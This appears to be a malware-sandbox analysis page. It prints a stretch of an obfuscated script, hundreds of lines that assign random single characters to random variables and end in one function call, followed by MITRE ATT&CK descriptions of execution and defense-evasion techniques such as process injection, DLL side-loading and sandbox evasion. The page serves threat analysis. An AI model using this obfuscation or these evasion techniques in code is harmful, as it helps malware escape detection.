421	soqaakpn = "m";
422	soqaakpn = "G";
423	soqaakpn = "K";
424	soqaakpn = "o";
425	soqaakpn = "W";
426	soqaakpn = "m";
427	soqaakpn = "d";
428	soqaakpn = "Z";
429	soqaakpn = "D";
430	soqaakpn = "F";
431	soqaakpn = "A";
432	soqaakpn = "z";
433	soqaakpn = "L";
434	soqaakpn = "d";
435	soqaakpn = "I";
436	soqaakpn = "V";
437	soqaakpn = "E";
438	soqaakpn = "i";
439	gpwpx = "T";
440	gpwpx = "A";
441	gpwpx = "q";
442	gpwpx = "k";
443	gpwpx = "g";
444	gpwpx = "f";
445	gpwpx = "i";
446	gpwpx = "r";
447	gpwpx = "r";
448	gpwpx = "V";
449	gpwpx = "D";
450	gpwpx = "O";
451	xqmdo = "R";
452	xqmdo = "D";
453	xqmdo = "V";
454	xqmdo = "Y";
455	xqmdo = "O";
456	xqmdo = "S";
457	xqmdo = "l";
458	xqmdo = "R";
459	xqmdo = "a";
460	xqmdo = "A";
461	xqmdo = "T";
462	xqmdo = "q";
463	xqmdo = "f";
464	xqmdo = "c";
465	xqmdo = "x";
466	xqmdo = "N";
467	xqmdo = "j";
468	xqmdo = "F";
469	xqmdo = "m";
470	xqmdo = "W";
471	xqmdo = "Z";
472	xqmdo = "x";
473	xqmdo = "z";
474	xqmdo = "m";
475	sxkktpopk = "T";
476	sxkktpopk = "p";
477	sxkktpopk = "M";
478	sxkktpopk = "p";
479	sxkktpopk = "K";
480	sxkktpopk = "A";
481	sxkktpopk = "w";
482	sxkktpopk = "V";
483	sxkktpopk = "n";
484	sxkktpopk = "f";
485	sxkktpopk = "k";
486	sxkktpopk = "i";
487	sxkktpopk = "H";
488	sxkktpopk = "R";
489	sxkktpopk = "O";
490	sxkktpopk = "K";
491	sxkktpopk = "b";
492	sxkktpopk = "Z";
493	sxkktpopk = "Q";
494	sxkktpopk = "z";
495	sxkktpopk = "e";
496	sxkktpopk = "T";
497	sxkktpopk = "p";
498	sxkktpopk = "I";
499	xzucopd = "R";
500	xzucopd = "Y";
501	xzucopd = "c";
502	xzucopd = "S";
503	xzucopd = "a";
504	xzucopd = "N";
505	xzucopd = "T";
506	xzucopd = "C";
507	xzucopd = "r";
508	xzucopd = "h";
509	xzucopd = "o";
510	xzucopd = "G";
511	xzucopd = "z";
512	xzucopd = "G";
513	xzucopd = "R";
514	xzucopd = "q";
515	xzucopd = "B";
516	xzucopd = "K";
517	xzucopd = "X";
518	xzucopd = "h";
519	xzucopd = "r";
520	szvec = "P";
521	szvec = ".";
522	ppyqc = "D";
523	ppyqc = "t";
524	ppyqc = "y";
525	ppyqc = "s";
526	ppyqc = "K";
527	ppyqc = "g";
528	ppyqc = "a";
529	ppyqc = "z";
530	ppyqc = "a";
531	ppyqc = "P";
532	ppyqc = "X";
533	ppyqc = "w";
534	ppyqc = "v";
535	ppyqc = "I";
536	ppyqc = "w";
537	ppyqc = "k";
538	ppyqc = "x";
539	ppyqc = "o";
540	ppyqc = "E";
541	ppyqc = "E";
542	ppyqc = "k";
543	tusbbyqnk = "s";
544	tusbbyqnk = "h";
545	tusbbyqnk = "m";
546	tusbbyqnk = "w";
547	tusbbyqnk = "c";
548	tusbbyqnk = "W";
549	tusbbyqnk = "L";
550	tusbbyqnk = "v";
551	tusbbyqnk = "q";
552	tusbbyqnk = "s";
553	tusbbyqnk = "t";
554	tusbbyqnk = "r";
555	tusbbyqnk = "O";
556	tusbbyqnk = "x";
557	tusbbyqnk = "Y";
558	tusbbyqnk = "Q";
559	tusbbyqnk = "N";
560	tusbbyqnk = "D";
561	tusbbyqnk = "A";
562	tusbbyqnk = "u";
563	tusbbyqnk = "W";
564	mdslj = "c";
565	mdslj = "F";
566	mdslj = "P";
567	mdslj = "G";
568	mdslj = "a";
569	mdslj = "J";
570	mdslj = "S";
571	mdslj = "X";
572	mdslj = "U";
573	mdslj = "m";
574	mdslj = "T";
575	mdslj = "M";
576	mdslj = "N";
577	mdslj = "j";
578	mdslj = "c";
579	mdslj = "d";
580	mdslj = "E";
581	mdslj = "U";
582	mdslj = "f";
583	mdslj = "x";
584	mdslj = "U";
585	mdslj = "z";
586	mdslj = "e";
587	mdslj = "P";
588	mdslj = "w";
589	mdslj = "u";
590	mdslj = "u";
591	mdslj = "u";
592	mdslj = "G";
593	mdslj = "m";
594	mdslj = "F";
595	fkvwmknzw = "C";
596	fkvwmknzw = "r";
597	fkvwmknzw = "Z";
598	fkvwmknzw = "S";
599	fkvwmknzw = "O";
600	fkvwmknzw = "D";
601	fkvwmknzw = "B";
602	fkvwmknzw = "x";
603	fkvwmknzw = "A";
604	fkvwmknzw = "G";
605	fkvwmknzw = "K";
606	fkvwmknzw = "b";
607	fkvwmknzw = "q";
608	fkvwmknzw = "B";
609	fkvwmknzw = "B";
610	fkvwmknzw = "l";
611	fkvwmknzw = "O";
612	fkvwmknzw = "c";
613	fkvwmknzw = "J";
614	fkvwmknzw = "f";
615	fkvwmknzw = "N";
616	fkvwmknzw = "h";
617	fkvwmknzw = "P";
618	fkvwmknzw = "h";
619	fkvwmknzw = "J";
620	fkvwmknzw = "P";
621	fkvwmknzw = "R";
622	fkvwmknzw = "f";
623	fkvwmknzw = "f";
624	fkvwmknzw = "L";
625	fkvwmknzw = "G";
626	fkvwmknzw = "O";
627	fkvwmknzw = "M";
628	fkvwmknzw = "c";
629	fkvwmknzw = "n";
630	fkvwmknzw = "w";
631	fkvwmknzw = "Z";
632	fkvwmknzw = "@";
633	fbnfbk = "f";
634	fbnfbk = "P";
635	fbnfbk = "n";
636	fbnfbk = "M";
637	fbnfbk = "C";
638	fbnfbk = "N";
639	fbnfbk = "T";
640	fbnfbk = "l";
641	fbnfbk = "k";
642	fbnfbk = "d";
643	fbnfbk = "Z";
644	fbnfbk = "L";
645	fbnfbk = "P";
646	fbnfbk = "Q";
647	fbnfbk = "G";
648	fbnfbk = "e";
649	fbnfbk = "f";
650	fownd = "Q";
651	fownd = "D";
652	fownd = "N";
653	fownd = "s";
654	fownd = "d";
655	fownd = "M";
656	fownd = "e";
657	fownd = "H";
658	fownd = "p";
659	fownd = "v";
660	fownd = "W";
661	fownd = "U";
662	fownd = "P";
663	fownd = "M";
664	fownd = "p";
665	fownd = "c";
666	fownd = "c";
667	fownd = "N";
668	fownd = "y";
669	fownd = "R";
670	fownd = "g";
671	fownd = "L";
672	fownd = "L";
673	hxroazmh = "m";
674	hxroazmh = "L";
675	hxroazmh = "t";
676	hxroazmh = "I";
677	hxroazmh = "G";
678	hxroazmh = "V";
679	hxroazmh = "e";
680	hxroazmh = "T";
681	hxroazmh = "l";
682	hxroazmh = "c";
683	hxroazmh = "O";
684	hxroazmh = "l";
685	hxroazmh = "G";
686	hxroazmh = "N";
687	hxroazmh = "H";
688	hxroazmh = "M";
689	hxroazmh = "b";
690	hxroazmh = "Q";
691	hxroazmh = "k";
692	hxroazmh = "d";
693	hxroazmh = "f";
694	hxroazmh = "v";
695	hxroazmh = "D";
696	hxroazmh = "z";
697	hxroazmh = "g";
698	hxroazmh = "L";
699	hxroazmh = "s";
700	hxroazmh = "r";
701	hxroazmh = "E";
702	hxroazmh = "O";
703	hxroazmh = "s";
704	hxroazmh = "m";
705	hxroazmh = "l";
706	hxroazmh = "s";
707	hxroazmh = "a";
708	hxroazmh = "I";
709	hxroazmh = "i";
710	hxroazmh = "P";
711	hxroazmh = "G";
712	hxroazmh = "c";
713	hxroazmh = "t";
714	hxroazmh = "C";
715	hxroazmh = "u";
716	bhplcxh = "T";
717	bhplcxh = "U";
718	bhplcxh = "g";
719	bhplcxh = "a";
720	bhplcxh = "Q";
721	bhplcxh = "j";
722	bhplcxh = "X";
723	bhplcxh = "R";
724	bhplcxh = "Q";
725	bhplcxh = "0";
726	yvwmwsdv = "Z";
727	yvwmwsdv = "u";
728	yvwmwsdv = "v";
729	yvwmwsdv = "q";
730	yvwmwsdv = "s";
731	yvwmwsdv = "p";
732	yvwmwsdv = "c";
733	yvwmwsdv = "J";
734	yvwmwsdv = "P";
735	yvwmwsdv = "z";
736	yvwmwsdv = "v";
737	yvwmwsdv = "K";
738	yvwmwsdv = "p";
739	yvwmwsdv = "Z";
740	yvwmwsdv = "1";
741	tmtimjauo = "J";
742	tmtimjauo = "r";
743	tmtimjauo = "E";
744	tmtimjauo = "w";
745	tmtimjauo = "g";
746	tmtimjauo = "o";
747	tmtimjauo = "n";
748	tmtimjauo = "K";
749	tmtimjauo = "T";
750	tmtimjauo = "R";
751	tmtimjauo = "A";
752	tmtimjauo = "z";
753	tmtimjauo = "J";
754	tmtimjauo = "L";
755	tmtimjauo = "X";
756	tmtimjauo = "J";
757	tmtimjauo = "U";
758	tmtimjauo = "Y";
759	tmtimjauo = "a";
760	tmtimjauo = "h";
761	oydjwwaox = "d";
762	oydjwwaox = "q";
763	oydjwwaox = "u";
764	oydjwwaox = "N";
765	oydjwwaox = "t";
766	oydjwwaox = "y";
767	oydjwwaox = "E";
768	oydjwwaox = "D";
769	oydjwwaox = "G";
770	oydjwwaox = "U";
771	oydjwwaox = "z";
772	oydjwwaox = "P";
773	oydjwwaox = "v";
774	oydjwwaox = "c";
775	oydjwwaox = "C";
776	oydjwwaox = "I";
777	oydjwwaox = "V";
778	oydjwwaox = "H";
779	oydjwwaox = "s";
780	oydjwwaox = "F";
781	oydjwwaox = "n";
782	oydjwwaox = "u";
783	oydjwwaox = "s";
784	oydjwwaox = "h";
785	oydjwwaox = "V";
786	oydjwwaox = "J";
787	oydjwwaox = "r";
788	oydjwwaox = "N";
789	oydjwwaox = "H";
790	oydjwwaox = "a";
791	oydjwwaox = "g";
792	oydjwwaox = "I";
793	oydjwwaox = "q";
794	oydjwwaox = "f";
795	oydjwwaox = "R";
796	oydjwwaox = "/";
797	hxctjypl = "z";
798	hxctjypl = "M";
799	hxctjypl = "A";
800	hxctjypl = "h";
801	hxctjypl = "S";
802	hxctjypl = "Q";
803	hxctjypl = "s";
804	xnkfmn = "P";
805	xnkfmn = "X";
806	xnkfmn = "H";
807	xnkfmn = "Y";
808	xnkfmn = "C";
809	xnkfmn = "x";
810	yahlrl = "D";
811	yahlrl = "-";
812	qrcpjx = "d";
813	qrcpjx = "f";
814	qrcpjx = "S";
815	qrcpjx = "q";
816	qrcpjx = "t";
817	qrcpjx = "i";
818	qrcpjx = "r";
819	qrcpjx = "d";
820	qrcpjx = "j";
821	qrcpjx = "r";
822	qrcpjx = "R";
823	sxaspobp = "G";
824	sxaspobp = "o";
825	sxaspobp = "B";
826	sxaspobp = "P";
827	sxaspobp = "n";
828	bkpivkkke = "U";
829	bkpivkkke = "w";
830	bkpivkkke = "f";
831	bkpivkkke = "x";
832	bkpivkkke = "w";
833	bkpivkkke = "d";
834	bkpivkkke = "Q";
835	bkpivkkke = "n";
836	bkpivkkke = "Y";
837	bkpivkkke = "D";
838	bkpivkkke = "C";
839	bkpivkkke = "n";
840	bkpivkkke = "s";
841	bkpivkkke = "S";
842	bkpivkkke = "H";
843	bkpivkkke = "a";
844	bkpivkkke = "Y";
845	bkpivkkke = "k";
846	bkpivkkke = "B";
847	bkpivkkke = "B";
848	bkpivkkke = "Y";
849	drapsdqj = "n";
850	drapsdqj = "r";
851	drapsdqj = "Y";
852	drapsdqj = "k";
853	drapsdqj = "y";
854	drapsdqj = "W";
855	drapsdqj = "Y";
856	drapsdqj = "l";
857	drapsdqj = "A";
858	drapsdqj = "X";
859	drapsdqj = "z";
860	drapsdqj = "O";
861	drapsdqj = "d";
862	drapsdqj = "r";
863	drapsdqj = "x";
864	drapsdqj = "n";
865	drapsdqj = "Y";
866	drapsdqj = "J";
867	drapsdqj = "i";
868	drapsdqj = "c";
869	drapsdqj = "p";
870	drapsdqj = "i";
871	drapsdqj = "c";
872	drapsdqj = "G";
873	drapsdqj = "x";
874	drapsdqj = "p";
875	drapsdqj = "r";
876	drapsdqj = "F";
877	drapsdqj = "s";
878	drapsdqj = "Q";
879	drapsdqj = "c";
880	drapsdqj = "c";
881	drapsdqj = "z";
882	drapsdqj = "r";
883	drapsdqj = "u";
884	drapsdqj = "Q";
885	drapsdqj = "g";
886	drapsdqj = "K";
887	drapsdqj = "c";
888	drapsdqj = "U";
889	uxeqfyvby = "j";
890	uxeqfyvby = "A";
891	uxeqfyvby = "v";
892	uxeqfyvby = "I";
893	uxeqfyvby = "i";
894	uxeqfyvby = "w";
895	uxeqfyvby = "N";
896	uxeqfyvby = "y";
897	uxeqfyvby = "q";
898	uxeqfyvby = "a";
899	uxeqfyvby = "C";
900	uxeqfyvby = "A";
901	uxeqfyvby = "n";
902	uxeqfyvby = "E";
903	uxeqfyvby = "i";
904	uxeqfyvby = "r";
905	uxeqfyvby = "Y";
906	uxeqfyvby = "G";
907	uxeqfyvby = "q";
908	uxeqfyvby = "l";
909	uxeqfyvby = "C";
910	uxeqfyvby = "g";
911	uxeqfyvby = "H";
912	uxeqfyvby = "c";
913	uxeqfyvby = "V";
914	uxeqfyvby = "j";
915	uxeqfyvby = "k";
916	uxeqfyvby = "b";
917	uxeqfyvby = "W";
918	uxeqfyvby = "l";
919	uxeqfyvby = "3";
920	wyasbf = "B";
921	wyasbf = "x";
922	wyasbf = "a";
923	wyasbf = "z";
924	wyasbf = "J";
925	wyasbf = "L";
926	wyasbf = "t";
927	wyasbf = "N";
928	wyasbf = "n";
929	wyasbf = "h";
930	wyasbf = "G";
931	wyasbf = "r";
932	wyasbf = "F";
933	wyasbf = "i";
934	wyasbf = "D";
935	wyasbf = "p";
936	wyasbf = "X";
937	wyasbf = "N";
938	wyasbf = "l";
939	wyasbf = "k";
940	wyasbf = "L";
941	wyasbf = "Y";
942	wyasbf = "E";
943	wyasbf = "H";
944	wyasbf = "z";
945	wyasbf = "f";
946	wyasbf = "R";
947	wyasbf = "f";
948	wyasbf = "N";
949	wyasbf = "h";
950	wyasbf = "Z";
951	wyasbf = "Y";
952	wyasbf = "T";
953	wyasbf = "V";
954	wyasbf = "G";
955	wyasbf = "I";
956	wyasbf = "s";
957	wyasbf = "o";
958	wyasbf = "q";
959	wyasbf = "q";
960	wyasbf = "V";
961	wyasbf = "t";
962	wyasbf = "H";
963	wyasbf = "b";
964	doinddx = "C";
965	bybshbulj = "q";
966	bybshbulj = "X";
967	bybshbulj = "m";
968	bybshbulj = "a";
969	bybshbulj = "N";
970	bybshbulj = "y";
971	bybshbulj = "u";
972	bybshbulj = "t";
973	bybshbulj = "X";
974	bybshbulj = "x";
975	bybshbulj = "w";
976	bybshbulj = "b";
977	bybshbulj = "\\";
978	mqpqcmccc = "E";
979	mqpqcmccc = "F";
980	mqpqcmccc = "N";
981	mqpqcmccc = "w";
982	mqpqcmccc = "a";
983	mqpqcmccc = "E";
984	mqpqcmccc = "y";
985	mqpqcmccc = "s";
986	mqpqcmccc = "j";
987	mqpqcmccc = "W";
988	mqpqcmccc = "O";
989	mqpqcmccc = "P";
990	mqpqcmccc = "a";
991	mqpqcmccc = "W";
992	mqpqcmccc = "H";
993	mqpqcmccc = "l";
994	mqpqcmccc = "z";
995	mqpqcmccc = "a";
996	mqpqcmccc = "d";
997	nmtkbb = "E";
998	nmtkbb = "z";
999	nmtkbb = "p";
1000	nmtkbb = "P";
1001	nmtkbb = "R";
1002	nmtkbb = "c";
1003	nmtkbb = "e";
1004	nmtkbb = "W";
1005	nmtkbb = "w";
1006	nmtkbb = "S";
1007	nmtkbb = "O";
1008	nmtkbb = "n";
1009	nmtkbb = "T";
1010	nmtkbb = "V";
1011	nmtkbb = "r";
1012	nmtkbb = "T";
1013	nmtkbb = "Q";
1014	nmtkbb = "r";
1015	nmtkbb = "E";
1016	nmtkbb = "G";
1017	nmtkbb = "G";
1018	nmtkbb = "S";
1019	nmtkbb = "w";
1020	nmtkbb = "l";
1021	nmtkbb = "b";
1022	nmtkbb = "O";
1023	nmtkbb = "u";
1024	nmtkbb = "F";
1025	nmtkbb = "I";
1026	nmtkbb = "d";
1027	nmtkbb = "z";
1028	nmtkbb = "Z";
1029	nmtkbb = "t";
1030	nmtkbb = "S";
1031	nmtkbb = "D";
1032	nmtkbb = "f";
1033	nmtkbb = "a";
1034	nmtkbb = "d";
1035	nmtkbb = "V";
1036	nmtkbb = "o";
1037	njoqcx = "X";
1038	njoqcx = "c";
1039	njoqcx = "y";
1040	njoqcx = "i";
1041	njoqcx = "E";
1042	njoqcx = "P";
1043	njoqcx = "9";
1044	peolka = "i";
1045	peolka = "T";
1046	peolka = "U";
1047	peolka = "B";
1048	peolka = "Z";
1049	peolka = "q";
1050	peolka = "B";
1051	peolka = "n";
1052	peolka = "W";
1053	peolka = "g";
1054	peolka = "T";
1055	peolka = "P";
1056	peolka = "K";
1057	peolka = "n";
1058	peolka = "r";
1059	peolka = "N";
1060	peolka = "S";
1061	peolka = "W";
1062	peolka = "u";
1063	peolka = "V";
1064	peolka = "E";
1065	peolka = "P";
1066	peolka = "5";
1067	fddfnzc = "W";
1068	fddfnzc = "Q";
1069	fddfnzc = "R";
1070	fddfnzc = "u";
1071	fddfnzc = "S";
1072	fddfnzc = "e";
1073	fddfnzc = "Y";
1074	fddfnzc = "C";
1075	fddfnzc = "H";
1076	fddfnzc = "N";
1077	fddfnzc = "M";
1078	fddfnzc = "A";
1079	fddfnzc = "v";
1080	fddfnzc = "t";
1081	fddfnzc = "u";
1082	fddfnzc = "S";
1083	fddfnzc = "P";
1084	fddfnzc = "E";
1085	fddfnzc = "A";
1086	fddfnzc = "L";
1087	fddfnzc = "b";
1088	fddfnzc = "o";
1089	fddfnzc = "Z";
1090	fddfnzc = "a";
1091	fddfnzc = "K";
1092	alpoyhd = "M";
1093	alpoyhd = "y";
1094	alpoyhd = "o";
1095	alpoyhd = "r";
1096	alpoyhd = "k";
1097	alpoyhd = "h";
1098	alpoyhd = "q";
1099	alpoyhd = "c";
1100	alpoyhd = "h";
1101	alpoyhd = "S";
1102	alpoyhd = "j";
1103	alpoyhd = "n";
1104	alpoyhd = "i";
1105	alpoyhd = "h";
1106	alpoyhd = "Z";
1107	alpoyhd = "Z";
1108	alpoyhd = "p";
1109	alpoyhd = "P";
1110	alpoyhd = "T";
1111	alpoyhd = "N";
1112	alpoyhd = "W";
1113	alpoyhd = "g";
1114	alpoyhd = "Z";
1115	alpoyhd = "v";
1116	alpoyhd = "R";
1117	alpoyhd = "C";
1118	alpoyhd = "x";
1119	alpoyhd = "y";
1120	alpoyhd = "k";
1121	alpoyhd = "k";
1122	alpoyhd = "I";
1123	alpoyhd = "v";
1124	alpoyhd = "w";
1125	alpoyhd = "A";
1126	alpoyhd = "F";
1127	alpoyhd = "A";
1128	alpoyhd = "P";
1129	alpoyhd = "j";
1130	alpoyhd = "R";
1131	alpoyhd = "Q";
1132	alpoyhd = "\"";
1133	scvkapv = "Y";
1134	scvkapv = "T";
1135	scvkapv = "c";
1136	scvkapv = "j";
1137	scvkapv = "l";
1138	scvkapv = "i";
1139	scvkapv = "L";
1140	scvkapv = "y";
1141	scvkapv = "F";
1142	scvkapv = "k";
1143	scvkapv = "g";
1144	scvkapv = "w";
1145	scvkapv = "T";
1146	scvkapv = "F";
1147	scvkapv = "b";
1148	scvkapv = "S";
1149	scvkapv = "q";
1150	scvkapv = "v";
1151	scvkapv = "Z";
1152	scvkapv = "C";
1153	scvkapv = "t";
1154	scvkapv = "X";
1155	scvkapv = "L";
1156	scvkapv = "C";
1157	scvkapv = "Q";
1158	scvkapv = "c";
1159	scvkapv = "S";
1160	scvkapv = "O";
1161	scvkapv = "r";
1162	scvkapv = "t";
1163	scvkapv = "l";
1164	hkzbx = "Z";
1165	hkzbx = "u";
1166	hkzbx = "b";
1167	hkzbx = "c";
1168	hkzbx = "M";
1169	hkzbx = "Y";
1170	hkzbx = "g";
1171	hkzbx = "t";
1172	hkzbx = "R";
1173	hkzbx = "M";
1174	hkzbx = "R";
1175	hkzbx = "r";
1176	hkzbx = "x";
1177	hkzbx = "h";
1178	hkzbx = "q";
1179	hkzbx = "L";
1180	hkzbx = "g";
1181	hkzbx = "Y";
1182	hkzbx = "r";
1183	hkzbx = "k";
1184	hkzbx = "T";
1185	hkzbx = "e";
1186	hkzbx = "O";
1187	hkzbx = "F";
1188	hkzbx = "L";
1189	hkzbx = "j";
1190	hkzbx = "s";
1191	hkzbx = "W";
1192	hkzbx = "e";
1193	hkzbx = "T";
1194	hkzbx = "Z";
1195	hkzbx = "y";
1196	hkzbx = "A";
1197	hkzbx = "e";
1198	hkzbx = "C";
1199	hkzbx = "b";
1200	hkzbx = "R";
1201	hkzbx = "K";
1202	hkzbx = "L";
1203	hkzbx = "g";
1204	hkzbx = "T";
1205	hkzbx = "a";
1206	hkzbx = "e";
1207	hkzbx = "v";
1208	psgkn = "g";
1209	psgkn = "J";
1210	psgkn = "v";
1211	psgkn = "L";
1212	psgkn = "u";
1213	psgkn = "C";
1214	psgkn = "W";
1215	psgkn = "4";
1216	damkf = "r";
1217	damkf = "C";
1218	damkf = "n";
1219	damkf = "J";
1220	damkf = "m";
1221	damkf = "s";
1222	damkf = "L";
1223	damkf = "C";
1224	damkf = "Z";
1225	damkf = "q";
1226	damkf = "V";
1227	damkf = "Q";
1228	damkf = "r";
1229	damkf = "u";
1230	damkf = "G";
1231	damkf = "e";
1232	damkf = "G";
1233	damkf = "a";
1234	damkf = "C";
1235	damkf = "U";
1236	damkf = "g";
1237	damkf = "j";
1238	damkf = "F";
1239	damkf = "i";
1240	damkf = "u";
1241	damkf = "k";
1242	damkf = "W";
1243	damkf = "N";
1244	damkf = "X";
1245	damkf = "I";
1246	damkf = "D";
1247	damkf = "S";
1248	damkf = "v";
1249	damkf = "Y";
1250	damkf = "M";
1251	damkf = "&";
1252	exkfpws = "c";
1253	exkfpws = "z";
1254	exkfpws = "j";
1255	exkfpws = "W";
1256	exkfpws = "A";
1257	exkfpws = "G";
1258	exkfpws = "w";
1259	exkfpws = "w";
1260	exkfpws = "K";
1261	exkfpws = "X";
1262	exkfpws = "B";
1263	exkfpws = "R";
1264	exkfpws = "Q";
1265	exkfpws = "r";
1266	exkfpws = "r";
1267	exkfpws = "k";
1268	exkfpws = "j";
1269	exkfpws = "M";
1270	exkfpws = "b";
1271	exkfpws = "m";
1272	exkfpws = "r";
1273	exkfpws = "B";
1274	exkfpws = "s";
1275	exkfpws = "k";
1276	exkfpws = "Y";
1277	exkfpws = "p";
1278	exkfpws = "d";
1279	exkfpws = "X";
1280	exkfpws = ":";
1281	sqahqgobj = "V";
1282	sqahqgobj = "N";
1283	sqahqgobj = "v";
1284	sqahqgobj = "x";
1285	sqahqgobj = "X";
1286	sqahqgobj = "b";
1287	sqahqgobj = "s";
1288	sqahqgobj = "j";
1289	sqahqgobj = "C";
1290	sqahqgobj = "R";
1291	sqahqgobj = "a";
1292	sqahqgobj = "v";
1293	sqahqgobj = "O";
1294	sqahqgobj = "F";
1295	sqahqgobj = "U";
1296	sqahqgobj = "C";
1297	sqahqgobj = "z";
1298	sqahqgobj = "k";
1299	sqahqgobj = "N";
1300	sqahqgobj = "w";
1301	sdmyrhxhv = "e";
1302	sdmyrhxhv = "w";
1303	sdmyrhxhv = "n";
1304	sdmyrhxhv = "w";
1305	sdmyrhxhv = "f";
1306	sdmyrhxhv = "N";
1307	sdmyrhxhv = "Q";
1308	sdmyrhxhv = "M";
1309	sdmyrhxhv = "z";
1310	sdmyrhxhv = "W";
1311	sdmyrhxhv = "h";
1312	sdmyrhxhv = "c";
1313	sdmyrhxhv = "h";
1314	sdmyrhxhv = "o";
1315	sdmyrhxhv = "P";
1316	cteyx = "Q";
1317	cteyx = "e";
1318	yfdkgzz = "Q";
1319	yfdkgzz = "j";
1320	yfdkgzz = "P";
1321	yfdkgzz = "b";
1322	yfdkgzz = "g";
1323	yfdkgzz = "x";
1324	yfdkgzz = "S";
1325	yfdkgzz = "d";
1326	yfdkgzz = "T";
1327	yfdkgzz = "x";
1328	yfdkgzz = "a";
1329	yfdkgzz = "k";
1330	yfdkgzz = "L";
1331	yfdkgzz = "n";
1332	yfdkgzz = "t";
1333	yfdkgzz = "F";
1334	yfdkgzz = "J";
1335	yfdkgzz = "t";
1336	yfdkgzz = "Y";
1337	yfdkgzz = "R";
1338	yfdkgzz = "K";
1339	yfdkgzz = "M";
1340	yfdkgzz = "x";
1341	yfdkgzz = "F";
1342	yfdkgzz = "P";
1343	yfdkgzz = "k";
1344	yfdkgzz = "t";
1345	yfdkgzz = "M";
1346	yfdkgzz = "l";
1347	yfdkgzz = "A";
1348	yfdkgzz = "T";
1349	yfdkgzz = "K";
1350	yfdkgzz = "r";
1351	yfdkgzz = "D";
1352	yfdkgzz = "o";
1353	yfdkgzz = "q";
1354	yfdkgzz = "E";
1355	yfdkgzz = "x";
1356	yfdkgzz = "f";
1357	yfdkgzz = "Y";
1358	yfdkgzz = "g";
1359	joupw = "q";
1360	ahogkcmwc ( );	ahogkcmwc() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

